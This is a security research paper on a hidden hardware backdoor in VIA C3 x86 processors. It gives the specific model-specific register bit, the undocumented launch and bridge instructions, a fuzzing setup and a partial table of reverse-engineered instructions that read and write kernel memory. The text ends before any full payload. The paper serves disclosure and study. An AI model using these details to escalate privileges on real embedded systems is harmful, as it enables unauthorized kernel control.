

Hardware Backdoors in x86 CPUs

Christopher Domas
xoreaxeaxeax@gmail.com

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Abstract—As the complexity of x86 processors grows unbounded, the realities of the hidden and unexpected behaviors of these chips become apparent. While micro-architectural vulnerabilities such as speculative execution side channels are unsettling, more powerful, unknown capabilities remain buried deeper still. Here, we finally demonstrate what everyone has long feared but never proven: there are hardware backdoors in some x86 processors, and they're buried deeper than we ever imagined possible.

I. OVERVIEW

Vulnerabilities in software are now so common place that even the most serious and devastating exploits may receive barely a nod from the research community. The importance and magnitude of hardware vulnerabilities has only recently been fully accepted, but even these are slowly patched and forgotten. More alarming still are the rare backdoors in software, but, even in the worst-case firmware implementations, these are correctable. But any security researcher who digs deep enough inevitably wonders at the endgame, at the deepest possible level of compromise – *are there hardware backdoors in the processor itself?* While largely relegated to the realms of conspiracy theories and wild speculation, the possibility continues to grip us. Here, we demonstrate, for the first time ever, a hardware backdoor on an x86 processor.

The backdoor offers ring 3 (userland) to ring 0 (kernel) privilege escalation, providing a well-hidden, devastating circumvention to the long-standing x86 ring privilege model, wherein untrusted code is effectively separated from the heart of the system. In offering a knowledgeable attacker direct, unrestricted access to the kernel from arbitrary unprivileged code, the backdoor negates decades of progress on hardware and software kernel security mechanisms; antivirus, address space protections, data execution prevention, code signing, control flow integrity, and kernel integrity checks provide no protections, and are immediately circumvented through the backdoor. The backdoor can be enabled or disabled through processor configuration bits, configured either during manufacturing or bootstrapping; it has been observed to be enabled by default on some platforms, requiring no prior access, configuration, or permissions by the attacker.

To facilitate this and other deep processor exploration, the tools, techniques, code, and data developed under this research effort are open-sourced as *project:rosenbridge* [1].

In this paper, we use the term “x86” to broadly refer to processor designs derived from the 8086 architecture; this includes the older 32 bit versions of the architecture, as well as modern 64 bit versions of the architecture (sometimes referred

to as x86-64, x64, or AMD64).

II. TARGET

Our research examines the VIA C3 family of x86 processors. VIA, behind Intel and AMD, is the third largest manufacturer of x86 processors; while their market share in desktop and laptop type systems has declined over the last decade, their chips continue to excel in embedded x86 designs and applications, including healthcare, industrial automation, point-of-sale, kiosk, ATM, gaming, digital signage, and media applications [2]. The VIA C3 is extremely popular in embedded designs, but is also found in a variety of desktop, laptop, and thin client computers.

Specifically, the research described in this paper was performed against a Nehemiah core VIA C3, running in an HP T5520 thin client. The test setup ran a PXE booted Debian 6.0.10 (i386), using Linux kernel version 2.6.32. However, the results affect the processor itself – the specific computer, kernel, and operating system are largely irrelevant. The vulnerable system cited in section V is a Wyse 9455XL thin client, with a Samuel 2 core VIA C3 processor.

The research target was selected based on information derived from a patent filed on some x86 technologies. US8341419 [3] makes a passing mention that:

“Additionally, accessing some of the internal control registers can enable the user to bypass security mechanisms, e.g., allowing ring 0 access at ring 3. In addition, these control registers may reveal information that the processor designers wish to keep proprietary. For these reasons, the various x86 processor manufacturers have not publicly documented any description of the address or function of some control MSRs.” [3]

Based on the patent owner (VIA) and time frame (2008), the VIA C3 processors were selected as the target of this research. We were unable to locate a VIA developer manual, such as those commonly offered by Intel and AMD, to gain any significant insights into the processor, so further research was based on testing, inferences from patent applications, and significant trial and error. While the details presented in this paper are specific to the Nehemiah core, they are believed to apply (with minor modifications) to all VIA C3 processors.

Critically, we note that while the target processor is no longer used in modern computers, the security issues presented here remain a very real concern across the entire industry, and we propose the work as an invaluable case study for drastically advancing the state of the art in processor security research on

modern systems. We discuss the wider implications of this in section IX.

III. BACKDOOR ARCHITECTURE

As discussed in the previous section, patent US20100235645 strongly hints at what would commonly be understood as a processor backdoor: “*internal control registers can enable the user to bypass security mechanisms, e.g., allowing ring 0 access at ring 3*”. To begin exploring this possibility, we examined other x86 patents to piece together what such a backdoor might look like. Based on patent time frames, owners, authors, and terminology, we concluded that VIA was embedding a non-x86 core into their C3 x86 CPUs, and that this alternate core could be activated through special instructions, which would then allow it to circumvent processor security mechanisms. While this is vaguely reminiscent of the better-known Intel Management Engine (ME) and AMD Platform Security Processor (PSP), the VIA embedded core appeared to be much more tightly coupled with the x86 core, and we were unable to find any public documentation on such a feature, making it more hidden than ME or PSP. Because of this, we called this non-x86 core the *deeply embedded core (DEC)*.

Patent US8880851 [4] provided the high-level insight into the design of the *DEC*. From this, we surmise that the *DEC* is not an entirely separate core, but rather shares significant segments of the pipeline and other architectural facilities with the x86 core.




Figure 1. Patent US8880851 discusses how multiple architectures can largely share an execution pipeline; in the proposed implementation, only the

instruction translators (shaded) require significantly differing implementations [4].

Because the *DEC* shares most of the microarchitecture with the x86 core, its footprint, in both circuitry and exposure, is much smaller than possible with most coprocessors. Combined with the lack of a datasheet or any public information on the core (excluding vague inferences derived from patents), this made revealing and interacting with the secret core much more challenging than evaluating, for example, ME or PSP.

Patents suggest that the *deeply embedded core* is a RISC processor [4] [5] [6], which shares some components of its execution pipeline with the x86 core, with the pipeline likely diverging after the fetch phase (Figure 2). The RISC and x86 cores have at least a partially shared register file [7] [8] [9].




Figure 2. Patent US9043580 suggests the execution pipeline may split after the instruction fetch phase. [7]

The processor uses a *global configuration register*, exposed to the x86 core as a model specific register (MSR), to activate the RISC core [4]. Once the RISC core is active, a RISC instruction sequence is started with an x86 *launch instruction*, a new instruction added to the x86 instruction set [4].

With its integrated execution pipeline and shared register file, the design of the *deeply embedded core* makes it both stealthier and more powerful than other known coprocessors, like Intel ME and AMD PSP. Other coprocessors, with their ability to modify protected memory, have been colloquially called a ‘ring -3’ layer of privilege, surpassing the abilities of the kernel, hypervisor, and system management mode. While the idea of continuously deeper rings on x86 has become almost farcical, we (somewhat tongue-in-cheek) propose that the *deeply embedded core* acts as a sort of ring -4 on x86, the deepest layer yet discovered.

If the assumptions about the design and power of the *deeply embedded core* are correct, the core could be used as a sort of backdoor on the processor, able to surreptitiously circumvent all of the most critical processor security checks; we call this backdoor *rosenbridge*.

IV. REGISTER ANALYSIS

A means of enabling the theoretical *rosenbridge* backdoor is necessary, and a variety of patents may provide clues on how to do so. The previously cited patent US8341419 [3] suggests that

model specific registers might be used to circumvent the x86 ring privilege protections, while patent US8880851 [4] describes a system wherein a model specific register can be used to activate a new instruction in x86, enabling an alternate core in the processor. With these hints together, we set out to find a bit in a model specific register that activates a new x86 instruction, which enables a new core, potentially leading us towards backdoor hardware privilege escalation. Here, we adopt the patent terminology of *global configuration register* and *launch instruction* for these secretive features.

The model specific registers (MSRs) in x86 are a wide range of 64-bit control registers; their applications are extremely varied, but are commonly used for debugging, performance monitoring, cache configuration, and toggling various processor features. MSRs are accessible only to ring 0 code. Unlike the x86 general- and special-purpose registers, MSRs are not addressed by name, but rather by number. Valid MSR numbers range from 0 to 0xffffffff.

As patent US8341419 [3] notes, because of their extreme power and potential for misconfiguration, “...the various x86 processor manufacturers have not publicly documented any description of the address or function of some control MSRs.” It is entirely common for specific bits in documented MSRs to be elided from public processor documentation, or for select MSRs to be hidden from record entirely (Figure 3).




Figure 3. Undocumented bits in the IA32_EFER control MSR. [10]

Certainly, often the undocumented bits are simply not implemented, and reserved for future use. However, it is not at all uncommon to find undocumented bits that have observable impacts on the processor.

In approaching the MSRs, it is first necessary to determine which MSRs are implemented by the processor, versus which MSRs are documented by the manufacturer. It is possible to check if an MSR exists on the processor through a fault analysis technique, by loading the expected MSR number into the `ecx` register, and issuing a `rdmsr` instruction. If the instruction throws a `#GP(0)` exception, we infer that the MSR is not implemented. However, if the `rdmsr` instruction successfully completes, the MSR is implemented, even if it does not appear in the processor’s documentation.

In the case of the target C3 processor, we were unable to locate a developer manual, such as those commonly offered by Intel and AMD, to gain insight into the MSRs. Some common MSRs are architectural and tend to be the same across manufacturers (for example, the time stamp counter is

consistently MSR 0x10 across Intel, AMD, and VIA), but such inferences only hold for a small handful of MSRs. Unfortunately, in applying MSR fault analysis to the C3, 1300 implemented MSRs are identified; heuristics on architectural MSRs can only account for approximately a dozen of these.

In order to make an analysis of the undocumented MSR bits feasible, we propose a side-channel attack against the x86 MSRs, in order to reduce the MSR search space. In this attack, a `rdmsr` instruction is used to access a model specific register. On either side of the `rdmsr`, `rdtsc` instructions are used to determine the `rdmsr` access time. The measurement is repeated for all 0x100000000 possible MSRs (Figure 4). We implement and open source the MSR timing analysis code as the separate *project:nightshyft* [11], which is further discussed in section IX, as well as in the project’s corresponding research paper [12].




Figure 4. A side-channel attack is used to down-select the C3 MSRs. Access times (in cycles) for the model specific registers on the C3 are plotted against MSR addresses. Of 4 billion possible registers, 1300 are observed to be implemented.

We observe that functionally different MSRs will, in general, have different access times, because the microcode backing each MSR is entirely different; for example, it will take a different amount of time to access the time stamp counter MSR, compared to accessing a thermal sensor MSR. On the other hand, functionally equivalent MSRs will have approximately the same access times, because the microcode backing each MSR is roughly equivalent; for example, accessing `MTRR_PHYSBASE0` is expected to take just as long as accessing `MTRR_PHYSBASE1`. Using this approach, we can differentiate between “like” and “unlike” MSRs by comparing register access times. It is, of course, possible for two unique MSRs to happen to have the same access times, so we define “like” registers as those whose *adjacent* registers have equal or otherwise functionally related access times, such as a range of ascending-access-time registers, or a range of registers whose access times alternate between two values (Figure 5). These patterns of access times in adjacent registers reveal the closely related families of MSRs on a processor.

We speculate that it is highly unlikely for there to be multiple, functionally equivalent or similar versions of the *global configuration register*. Instead, this register is expected

to be entirely unique, based on its assumed properties. We therefore eliminate MSRs which can be identified as belonging to a functional family, to focus exclusively on the functionally unique MSRs.




Figure 5. The 1300 implemented MSRs are down-selected by removing closely related MSRs, such as the ascending patterns around 145h and 26bh, the oscillating timings at 207h, as well as the consistent ‘baseline’ extending from 0 to 500h. This process leaves 43 functionally unique MSRs.

Using this approach, we identify 43 functionally unique MSRs, from the 1300 implemented MSRs on the VIA C3 processor – a far more tractable number for analysis.

With candidate MSRs identified for the *global configuration register*, we next set out to enable the *deeply embedded core*. Following the patent literature, we seek an MSR bit that enables a new x86 instruction (the *launch instruction*), which may in turn activate the *DEC*. To resolve which of the candidate MSRs is the *global configuration register* and simultaneously identify the hidden *launch instruction*, we apply the *sandsifter* processor fuzzing tool. *Sandsifter* is able to reliably expose undocumented instructions in x86, but takes approximately one day to complete an instruction scan on the C3. With 43 unique MSRs, and 64 bits per MSR, there are 2752 bits to check (fewer, when discounting bits that are already enabled); toggling bits one by one and completing a scan after each is not feasible.

To overcome this, we toggled each of the candidate MSR bits one by one, without running a *sandsifter* scan between them. In many cases, toggling an undocumented MSR bit will result in general protection exceptions, kernel panics, system instability, system reset, or a total processor lock. Whenever a bit had these (or other) visible side effects, it was ruled out as a candidate. Using a hardware system reset tool, we automated the activation of the candidate MSR bits, automatically resetting the target system whenever toggling a bit caused an error. Over the course of a week, and hundreds of automated reboots, we identified which of the 2752 bits could be toggled without visible side effects (Figure 6).




Figure 6. System for automatically determining the MSR bits which can be safely activated on the target.

At this point, *sandsifter* was used to audit the processor for any new instructions. Its scan, which encompassed over 100,000,000 instructions, revealed exactly one new, unexpected instruction on the processor: `0f3f` (Figure 7). We were unable to find any reference to this instruction in any processor documentation, from any vendor. This, presumably, is the *launch instruction* hinted at in VIA patents. Observing the instruction with GDB, with some trial and error, it was determined that the *launch instruction* is effectively a `jmp %eax` instruction; that is, it branches to the address held in the `eax` register.

s	(unk)	0f3eb5a8000000000000000000000000	0
a	(unk)	0f3eb72d000000000000000000000000	5
n	(unk)	0f3eb8e5000000000000000000000000	:
d	(unk)	0f3eb948000000000000000000000000	1
	(unk)	0f3eb9b6000000000000000000000000	9
v: 1	(unk)	0f3eba25000000000000000000000000	:
l: 8	(unk)	0f3eba98000000000000000000000000	5
s: 5	(unk)	0f3ebb05000000000000000000000000	2
c: 2	(unk)	0f3ebc4c000000000000000000000000	.
	(unk)	0f3ebe5b000000000000000000000000	3
s	(unk)	0f3ef500000000000000000000000000	8
i	(unk)	0f3f0405180000000000000000000000	
f	(unk)	0f3f0405430000000000000000000000	
t	(unk)	0f3f0405680000000000000000000000	
e	(unk)	0f3f0405930000000000000000000000	
r	(unk)	0f3f0405b90000000000000000000000	
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Figure 7. With the MSR bits active, the *sandsifter* fuzzer is used to expose the *launch instruction*. In addition to the existence of the new instruction, *sandsifter* also detects that an instruction trap is being lost when the instruction executes; this causes subsequent instructions to appear as part of the `0f3f` *launch instruction*, which causes *sandsifter* to record multiple instances of the instruction.

With the *launch instruction* identified, it is no longer necessary to perform full instruction scans to test each MSR bit, allowing the MSR bits to be quickly searched. Activating each candidate MSR bit one by one, then attempting to execute `0f3f`, quickly revealed that MSR 1107h, bit 0 activates the *launch instruction* on the C3 processor; MSR 1107h is therefore

determined to be the *global configuration register*. Because we anticipate bit 0 will allow circumventing privilege protections for unfettered control of the processor, we call this the *god mode bit*.

IV. THE X86 BRIDGE

With the *god mode bit* discovered, and the *launch instruction* identified, it is next necessary to determine *how* to execute instructions on the RISC core. From the patent literature [4], it would appear that after the *launch instruction*, subsequent instructions are sent to a separate RISC pipeline as they are fetched (Figure 8).




Figure 8. A potential implementation of a “dual” instruction set architecture, as described in patent US8880851, suggests separate decoders (shaded) for the x86 and RISC pathways in the execution unit [4].

However, in examining the target processor, this appeared to not be the case. Activating the *god mode bit*, and executing the *launch instruction*, the processor appeared to simply continue executing x86 instructions. After significant trial, error, and revisions, we theorized that rather than directly switching between decoders, the *launch instruction* might modify functionality *within* the x86 decoder, such that the x86 decoder would perform a first decode pass, and then send parts of the decoded instruction to a second RISC decoder. In this implementation, the pipeline does not split right after the instruction fetch phase as shown in patents, but rather forks within the x86 decoder. The *launch instruction*, rather than switching between x86 and RISC decoders, instead activates the new RISC pathways within the x86 decoder (Figure 9).




Figure 9. A potential implementation of a dual execution pipeline. A pre-decoder first decomposes an x86 instruction into its constituents. If the processor is in RISC mode, *and* if the opcode and modr/m bytes match expected values, then the immediate value is passed to the RISC decoder; otherwise, the instruction components are passed to the x86 decoder.

In this implementation, an instruction is fetched from the instruction cache, and passed to an x86 pre-decoder. The pre-decoder breaks the instruction apart into its constituents: prefix, opcode, modr/m, scale-index-base, displacement, and immediate bytes. At this point, a check is performed: if the processor is in RISC mode (that is, if the *launch instruction* was just executed), *and* the instruction uses a 32-bit immediate value, *and* the remaining constituents match architecturally defined values, *then* the 32-bit immediate is passed to the RISC decoder; otherwise, the constituents are passed to the x86 decoder.

In this implementation, it becomes necessary to determine which x86 instruction is used to dispatch 32-bit immediate values to the RISC core. Since this instruction joins the two cores, we call it the *bridge instruction*. For example, it could be that the *bridge instruction* is `mov eax, xxxxxxxx`, where `xxxxxxxx` is a 32-bit immediate value that will be sent to the RISC core if the RISC core is active.

To determine the bridge instruction, it is sufficient to detect that a RISC instruction has been executed. Since we do not know the RISC instruction format, it is necessary to be able to observe this from the x86 core. While there are several ways to do this, the simplest, in practice, is found in the premise of the research: if the RISC core really provides a privilege circumvention mechanism, then some RISC instruction, executed in ring 3, should be able to corrupt the system (for example, by writing invalid values to a control register or kernel memory). These corruptions can be detected in the form of a processor lock, kernel panic, or system reset. Since an unprivileged x86 instruction should never normally be capable of causing a processor lock, kernel panic, or system reset, if we observe one of these behaviors when executing an unprivileged

x86 instruction, then it must be a *bridge instruction*. That is, it must have triggered the execution of a RISC instruction that in turn corrupted the system state.

With this approach, finding the *bridge instruction* can be accomplished through random processor fuzzing using the *sandsifter* tool. First, the *god mode* bit is set. Then, *sandsifter* generates a random x86 instruction. The *launch instruction* is expected, followed by the random x86 instruction. This process is repeated indefinitely. When the right combination of the x86 wrapper instruction and a corrupt RISC instruction are found, the processor locks, the kernel panics, or the system resets. When this behavior is observed, the last instruction generated is determined to be the *bridge instruction*, and its 32-bit immediate value the corrupting RISC instruction.

Using this approach, the *bridge instruction* was determined to be `bound %eax, 0x00000000(,%eax,1)`, where `0x00000000` is the 32-bit RISC instruction sent to the *deeply embedded core*. The *bridge instruction* appeared to vary depending on the specific microarchitecture of the target; the `bound` bridge was observed on a VIA C3 Nehemiah core.

V. A DEEPLY EMBEDDED INSTRUCTION SET

With knowledge of *how* to execute instructions on the deeply embedded core, it was necessary to next determine *what* to execute. Initially, simple instructions from popular RISC architectures, such as ARM, PowerPC, and MIPS were attempted, in both big and little endian forms; for ARM, for example, `ADD R0, R0, #1` would be checked. The attempt is significantly complicated by the fact that the RISC core likely has a register file inaccessible to the x86 core; for example, for the above instruction, there is no clear way to check whether the attempted instruction executed as expected, because the `R0` ARM register cannot be observed from the x86 core. Although it was difficult to definitively match the instructions to a known architecture, it was possible to rule out architectures. We observed that many of the instructions sent to the *deeply embedded core* caused a processor lock (one of the few visible effects of the instructions). By executing simple, non-locking instructions for candidate architectures – such as the `ADD R0, R0, #1` above – the selected architecture could be ruled out if the processor locked. Using this approach, 30 different architectures were ruled out for the *deeply embedded core*.

Unable to match the core to any known architecture, it was necessary to reverse engineer the format of the instructions for the *deeply embedded core*, which we called the *deeply embedded instruction set* (DEIS).

To understand the format of these instructions, it is necessary to execute a RISC instruction, and observe its results. However, without knowledge of this specific RISC instruction set, it is not possible to observe the results from the RISC core. Instead, we took advantage of the fact that, according to the patent literature, the x86 core and the RISC core should have a partially shared register file (Figure 10). With this, it is possible to observe some of the results of a RISC instruction from the x86 core, which enabled deciphering the RISC instruction format.




Figure 10. Patent US8880851 suggests the *deeply embedded core* shares a register file with the x86 core. [4] While the *DEC* we examined did not appear to be an ARM architecture, the shared register file allowed observing the results of a *DEIS* instruction from the x86 core.

The approach is as follows. The RISC core is unlocked by toggling the *god mode bit*; this is done using the `msr` loadable kernel module. The remainder of the fuzzing is done in userland. A system *input state* is generated. The system *input state* comprises the processor register state (general purpose registers, special purpose registers, and MMX registers), as well as select buffers from the current userland process and kernel memory. The state varies depending on the fuzzing task. For resolving arithmetic instructions, a random state is used. For resolving memory access instructions, processor registers are set to point to either userland or kernel memory buffers. The system state is loaded; processor registers are set, userland buffers are populated, and kernel buffers are set using a userland interface exposed by a custom loadable kernel module, built to assist in fuzzing analysis. A RISC instruction to check is generated. This may be created randomly, or intelligently generated based on fuzzing goals. The RISC instruction is wrapped in the x86 *bridge instruction* and executed on the RISC core by preceding it with the *launch instruction*. The new system *output state* is recorded, including GPRs, SPRs, and MMX registers, as well as userland and kernel memory buffers. This process (Figure 11) allows *diffing* the *input state* and *output state* to resolve the effects of an unknown RISC instruction.




Figure 11. A summary of the fuzzing process. The system *input state* is loaded from memory. The *launch instruction* is executed, followed by a candidate RISC instruction wrapped in the *x86 bridge instruction*. The system *output state* is recorded. A state diff uncovers the effects of the RISC instruction. In addition to the GPRs shown, the complete fuzzer also captures changes to SPRs, MMX registers, userland buffers, and kernel buffers.

When fuzzing the target processor to collect data about the RISC instructions, a complication arises: because the RISC core appears to have access to protected kernel memory and registers, and because the format of the RISC instructions is unknown, there is no way to prevent accidentally generating and executing instructions that will corrupt the target system, in the form of kernel panics, processor locks, and system reboots. In practice, only around twenty arbitrary RISC instructions could be executed before executing an instruction that corrupts the system in an unrecoverable way. When this happens, it is necessary to reboot the system to bring it back to a known good state. However, the target systems, even after optimizations, required two minutes to completely reboot. Some rough estimates suggested that, at this rate, it would take months of fuzzing to collect enough data to reverse engineer the RISC instruction set.

To overcome this, the automation setup from Figure 6 was enhanced. The system was expanded to support seven target machines PXE booting from the master. Once booted, the master assigns fuzzing tasks to an agent running on the target; this allows the master to carefully coordinate the fuzzing workload, and intelligently tasks machines with unexplored or high priority segments of the instruction space. Each target’s power switch is wired to a relay module, connected over USB to the master. When the master is no longer receiving data from a target, it assumes that the target has locked, crashed, reset, or panicked, and forcefully resets the target by simulating holding the power button using the relay. Both the master and targets are hooked up to a monitor and keyboard through a KVM switch, for fast debugging and analysis. Fuzzing results in the form of state diffs are collected from each target and aggregated on the master for offline analysis.




Figure 12. Overview of the processor fuzzing setup. A master system controls an array of fuzzing targets, assigning coordinated fuzzing tasks to each target as it boots. When a target stops responding, it is rebooted through the relay module. Fuzzing results in the form of state diffs are collected by the master for offline analysis.

Over the course of three weeks, we fuzzed the array of targets and collected data from the test rig – 15 gigabytes of logs comprising 2,301,295 state diffs, amassed over nearly 4,000 hours of compute time. A subset of this data is available at [1].

The test instructions were initially generated randomly to obtain a large baseline dataset. In the initial round of fuzzing, the vast majority of RISC instructions have no visible results, because only a small fraction of the x86/RISC system state can be recorded. To overcome this, a staged fuzzing approach was used, where first round instructions with visible effects on the system state were used as seed instructions in a second round of fuzzing; random bit twiddles on the seeds were used to generate the RISC instructions in the second round. This staged approach improved observable instruction results by an order of magnitude, greatly improving the completeness of the dataset. Occasional manual intervention to fuzz specific ranges around instructions of interest was used to complement the results of the second stage fuzzing. A more sophisticated system could dynamically identify the test cases that are producing valuable results, and redirect fuzzing around these; this could substantially reduce the compute time necessary to decipher the target instruction set.

With a large corpus of state diffs, it is next necessary to extract patterns from the diffs to identify patterns in the instruction format. To automate this process, we designed a tool called the *collector*, which checks a state diff for a variety of common instruction effects, such as arithmetic operations and memory accesses (Figure 13).

- ⇒ *word swap*:
swap the low and high words of a register
- ⇒ *high word copy*:
copy the high word of one register into the high word of another
- ⇒ *low word copy*:
copy the low word of one register into the low word of another
- ⇒ *immediate load*:
load a word value from an immediate field in the instruction into the low or high word of a register
- ⇒ *(pre) register to register transfer*:
copy one register into another register
- ⇒ *(post) register to register transfer*:
modify a register, then copy it into another register
- ⇒ *1-, 2-, 4-, and 8- byte memory writes*:
copy a 1-, 2-, 4-, or 8- byte value from a register into memory
- ⇒ *1-, 2-, 4-, and 8- byte memory reads*:
load a 1-, 2-, 4-, or 8- byte value from memory into a register
- ⇒ *increment by 1, 2, 4, or 8*:
add 1, 2, 4, or 8 to a register
- ⇒ *decrement by 1, 2, 4, or 8*:
subtract 1, 2, 4, or 8 from a register
- ⇒ *write instruction pointer*:
write the value of the *next* instruction pointer to memory
- ⇒ *1- through 16- bit shifts*:
shift a register by 1, 2, 3, ... or 16 bits, left or right, into itself
- ⇒ *relative immediate load*:
load a constant into a register, from memory addressed relatively from the current instruction
- ⇒ *add, subtract, multiply, divide, modulo, xor, binary and, binary or*:
arithmetic operation between two input registers, stored into an output register

Figure 13. Categories of instructions analyzed by the collector.

These instruction categories were chosen based on the perceived requirements of an offensive payload for the RISC core. Many instructions did not fall into any of the selected categories; a more comprehensive set of categories could be used to completely reverse engineer the *DEIS*.

0a1dc726	[0000 1010 0001 1101 1100 0111 0010 0110]	eax: 0804e289 -> 0804e285
0a3d6720	[0000 1010 0011 1101 0110 0111 0010 0000]	ecx: 0841fec2 -> 0841febe
0a503e29	[0000 1010 0101 0000 0011 1110 0010 1001]	edx: 2c9e4a84 -> 2c9e4a80
0a5fb7db	[0000 1010 0101 1111 1011 0111 1101 1011]	edx: 327f8c66 -> 327f8c62
0a7f4460	[0000 1010 0111 1111 0100 0100 0110 0000]	ebx: b753be82 -> b753be7e
0a90aeb8	[0000 1010 1001 0000 1010 1110 1011 1000]	esp: 961f6d51 -> 961f6d4d
0a9b5498	[0000 1010 1011 0000 0101 0100 1001 1000]	ebp: 859a7955 -> 859a7951
0abfb48d	[0000 1010 1011 1111 1011 0100 1000 1101]	ebp: d8de0d7b -> d8de0d77
0ad03f09	[0000 1010 1101 0000 0011 1111 0000 1001]	esi: 0841fec4 -> 0841fec0
0af088c5	[0000 1010 1111 0000 1000 1000 1100 0110]	edi: 256339e4 -> 256339e0
0affcf92	[0000 1010 1111 1111 1100 1111 1001 0010]	edi: f4cef2ab -> f4cef2a7
0e1d87be	[0000 1110 0001 1101 1000 0111 1011 1110]	eax: 0804e289 -> 0804e285
0e301f44	[0000 1110 0011 0000 0001 1111 0100 0100]	ecx: faa1aa22 -> faa1aa1e
0e30753f	[0000 1110 0011 0000 0111 0101 0011 1111]	ecx: 46e4f482 -> 46e4f47e
0e309f8c	[0000 1110 0011 0000 1001 1111 1000 1100]	ecx: 8e9099e9 -> 8e9099e5
0e5ff9f4	[0000 1110 0101 1111 1111 1001 1111 0100]	edx: b4511f1b -> b4511f17
0e83d850	[0000 1110 1000 0011 1101 1000 0101 0000]	esp: 3b92e942 -> 3b92e93e
0e8b95c9b	[0000 1110 1011 0000 0101 1100 1001 1011]	ebp: 33004709 -> 33004705
0edff3b78	[0000 1110 1101 1111 0011 1011 0111 1000]	esi: 0841fec4 -> 0841fec0
0effd2ad	[0000 1110 1111 1111 1101 0010 1010 1101]	edi: 989d68db -> 989d68d7
8d2bf748	[1000 1101 0010 1011 1111 0111 0000 1000]	eax: 0804e289 -> 0804e285
9a5053d4	[1010 1001 0101 0000 0101 0011 1101 0100]	eax: 0804e289 -> 0804e285
df14296d	[1101 1111 0001 0100 0010 1001 0110 1101]	esp: 0841fec7 -> 0841fec3
eb36ae2c	[1110 1011 0011 0110 1010 1110 0010 1100]	esi: 0841fec4 -> 0841fec0
eb71bafc	[1110 1011 0111 0001 1011 1010 1111 1100]	ecx: 0841fec2 -> 0841febe
ef72b0d6	[1110 1011 0111 0010 1101 0000 1101 0110]	edx: 0841fec3 -> 0841feb7
fd77063c	[1111 1101 0111 0111 0000 0110 0011 1100]	edi: 0841fec5 -> 0841fec1
ff7762d4	[1111 1111 0111 0111 0110 0010 1101 0100]	edi: 0841fec5 -> 0841fec1

Figure 14. The *collector* matches state diffs to the instruction categories shown in Figure 13.

Instructions are assigned to zero, one, or more instruction categories, based on the effects observed in their state diffs (Figure 14). Once all instructions in the fuzzing logs are processed, they are *binned* based on their categories. An instruction *bin* is a set of instructions whose categories are identical. For example, one instruction bin might include all instructions that incremented a register by 4; another might

include all instructions that wrote a register to memory pointed to by another register; and a third bin would include instructions that *both* incremented a register by 4 and wrote a register to memory pointed to by another register.

e87262cc	[1110 1000 0111 0010 0110 0010 1100 1100]	==== bin: memory write // add, 4 ====
eab5f409	[1110 1010 1011 0101 1111 0100 0000 1001]	
ebb7b489	[1110 1011 1011 0111 1011 0100 1000 1001]	
f2169a0a	[1111 0010 0001 0110 1001 1010 0000 1010]	
f2b7ad29	[1111 0010 1011 0111 1010 1101 0010 1001]	
fa12fea8	[1111 1010 0001 0010 1111 1110 1010 1000]	
fc74182a	[1111 1100 0111 0100 0001 1000 0010 1010]	
fc759d01	[1111 1100 0111 0101 1001 1101 0000 0001]	
0a580eef	[0000 1010 0101 1000 0000 1110 1110 1111]	==== bin: add, 4 ====
0a78884e	[0000 1010 0111 1000 1000 1000 0100 1110]	
0a99118a	[0000 1010 1001 1001 0001 0001 1000 1010]	
0acb6190	[0000 1010 1100 0111 0110 0001 1001 0000]	
0aeb0a40	[0000 1010 1110 1011 0000 1010 0100 0000]	
0e0b979a	[0000 1110 0000 1011 1001 0111 1001 1010]	
0e394d65	[0000 1110 0011 1001 0100 1101 0110 0101]	
0e98e966	[0000 1110 1001 1000 1110 1001 0110 0110]	
0eb8fb64	[0000 1110 1011 1000 1111 1011 0110 0100]	
84d09f36	[1000 0100 1101 0000 1001 1111 0011 0110]	
ea16fea8	[1110 1010 0001 0110 1111 1110 1010 1000]	
4c328b03	[0100 1100 0011 0010 1000 1011 0000 0011]	==== bin: memory write ====
5d36cf83	[0101 1101 0011 0110 1100 1111 1000 0011]	
5df788af	[0101 1101 1111 0111 1000 1000 1010 1111]	
9bf3474d	[1001 1011 1111 0011 0100 0111 0100 1101]	
9c15aa0a	[1001 1100 0001 0101 1010 1010 0000 1010]	
9ed314c8	[1001 1110 1101 0011 0001 0100 1100 1000]	
9ed39488	[1001 1110 1101 0011 1001 0100 1000 1000]	
e297738b	[1110 0010 1001 0111 0111 0011 1000 1011]	
e2b3338b	[1110 0010 1011 0011 0011 0011 1000 1011]	
e737980b	[1110 0111 0011 0111 1001 1000 0000 1011]	
e796780b	[1110 0111 1001 0110 0111 1000 0000 1011]	
ec94ee01	[1110 1100 1001 0100 1110 1110 0000 0001]	
ed9458a9	[1110 1101 1001 0100 0101 1000 1010 1001]	
f8b4e96b	[1111 1000 1011 0100 1110 1001 0110 1011]	

Figure 15. Binning instructions by *multiple* behaviors helps separate classes of instructions.

The binning approach helps to separate instructions with similar binary encodings. For example, both

```
ebb7b489 [1110 1011 1011 0111 1011 0100 1000 1001]
0aeb0a40 [0000 1010 1110 1011 0000 1010 0100 0000]
```

from Figure 15 increment the *edi* register by 4, but there are no similarities in the bit patterns that would provide insight into the correct binary encoding for an increment *edi* instruction. However, when the instructions are grouped based on *multiple* behaviors, *f2b72d6d* and *0aeb0a40* are separated into different bins. When this is done, the instructions in each bin exhibit obvious bit patterns that can be used to derive the binary encoding for that bin (add vs. add/write bins in Figure 15). However, the approach is limited by the number of instruction behaviors that can be identified in state diffs. In many cases, no observable change occurs in state (for example, when an instruction modifies an un-instrumented region of memory or register), or an observed change has no obvious classification (for example, the instruction loads a value of unknown origin into a register). When this occurs, instructions may become *inseparable* for the *collector*, and a single bin will contain instructions from many different encodings (memory write bin in Figure 15). At this point, manual analysis of the bit patterns and state diffs can help differentiate encodings within the bin.

A subset of the binned instructions were chosen as primitives for building a *DEC* privilege escalation payload (Figure 16). These constituted only a small fraction of the instruction categories identified by the *collector*, but were sufficient to mount a proof-of-concept privilege escalation attack against the *DEC*. Further development could fully leverage the *collector* results to reconstruct more of the *DEIS*, to enable general

purpose RISC computation on the *DEC*.

```

lgd: load base address of gdt into register
mov: copy register contents
izx: load 2 byte immediate, zero extended
isx: load 2 byte immediate, sign extended
ra4: shift eax right by 4
la4: shift eax left by 4
ra8: shift eax right by 8
la8: shift eax left by 8
and: bitwise and of two registers, into eax
or: bitwise or of two registers, into eax
ada: add register to eax
sba: sub register from eax
ld4: load 4 bytes from kernel memory
st4: store 4 bytes into kernel memory
ad4: increment a register by 4
ad2: increment a register by 2
ad1: increment a register by 1
zl3: zero low 3 bytes of register
zl2: zero low 2 bytes of register
zl1: zero low byte of register
cmb: shift low word of source into low word of destination

```

Figure 16. Instruction primitives identified by the *collector*, and implemented by the *DEIS*-assembler. While the collector identifies significantly more primitives than shown, only a subset of the primitives are currently implemented in the assembler.

